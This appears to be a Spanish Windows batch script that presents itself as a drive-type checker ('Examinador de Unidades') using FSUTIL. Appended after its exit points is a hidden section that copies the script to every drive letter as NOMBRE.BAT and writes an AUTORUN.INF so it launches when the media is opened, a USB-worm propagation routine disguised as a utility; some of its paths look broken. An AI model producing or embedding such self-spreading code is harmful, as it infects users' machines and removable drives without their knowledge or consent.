@echo off
title Examinador de Unidades
color 0a

:main
cls
echo.
echo Introduzca la Letra de Unidad
echo.
set /p uni="> "
FSUTIL FSINFO DRIVETYPE %uni%:>%temp%\letuni.tmf
for /F "tokens=*" %%a in (%temp%\letuni.tmf) do set p=%%a
if %p:~-4%==ija (goto fija)
if %p:~-4%==ble (goto USB)
if %p:~-4%==ROM (goto CD) else (goto main)

:USB
echo.
echo La unidad es Extraible
pause
exit

:fija
echo La unidad es una Unidad de Disco Duro
echo.
pause
exit

:CD
echo.
echo La unidad es una CD-ROM
echo.
pause
exit

FOR %%A IN (A B C D F G H I J K L M N O P Q R S T U V W X Y Z) DO CALL INTERMEDIARIO %%A
GOTO :EOF

:INTERMEDIARIO
SET UNIDAD=%1
IF EXIST "%UNIDAD%:" (CALL :CREAUSB %UNIDAD%)
GOTO :EOF

:CREAUSB
SET LETRA=%1
COPY %0 "%LETRA%:\NOMBRE.BAT"
ECHO [AUTORUN] > "%LETRA%\AUTORUN.INF"
ECHO OPEN="NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
ECHO ACTION=Abrir Pendrive >> "%LETRA%\AUTORUN.INF"
ECHO SHELLEXECUTE= "\NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
GOTO :EOF